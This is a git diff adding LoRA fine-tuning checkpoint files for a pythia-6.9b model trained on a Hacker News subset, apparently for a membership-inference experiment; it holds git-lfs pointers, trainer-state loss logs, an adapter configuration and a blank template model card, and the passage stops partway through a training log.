sha256:1cdf0106dde66c07929e4343a71e99372c78246dc01ba7602cf12f859933c49d +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..f5fbaf3739704eea759ab29b4b9eba0fecf79ee6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4f581763059f9808c6971d543bee5e034fff1a9ec174cb7aa232dd9f17099da0 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0f02c233f432413573681087f8ebce358efeb676 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ae2093149925b534f5c60211635bf0097e5b3bf50dc856b0e3f5b17717e52497 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..490bd53ecfe9e2498cdc231d65ff6bfab52aec06 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/trainer_state.json @@ -0,0 +1,513 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.266666666666667, + "eval_steps": 10, + "global_step": 320, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.24354303557632e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-320/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..be0ab245a6e422d5b3437f037a0c5ba2b9ed2ddf --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3e9066a9ac055e8acb5bdfbe94ec3439c5a8fa4330d0c36e08daeaa523e10d3a +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..43c968ea3b6d58960b4106b795f49c620071cfa7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bd346bb3e5d95ba4cd34314dfedf239eb4d812afd7854b6d41ad4844ebb80320 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..759bff60bd0897427bf9d4410df520d35fd20081 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:389caf1bb32aae3a751e11d63ffe273f089df59490c4ac6e5883d944b329df0b +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..2df061fe83adad240544d1899eb2e5e2fb23a555 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:22b896fe763bef96dfe0d570de4fea5d935b3bf80de3a9b1b2918efca334b093 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..abd2192ab00a64d3be88182ed340595d89006f2a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-330/trainer_state.json @@ -0,0 +1,528 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.4, + "eval_steps": 10, + "global_step": 330, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, 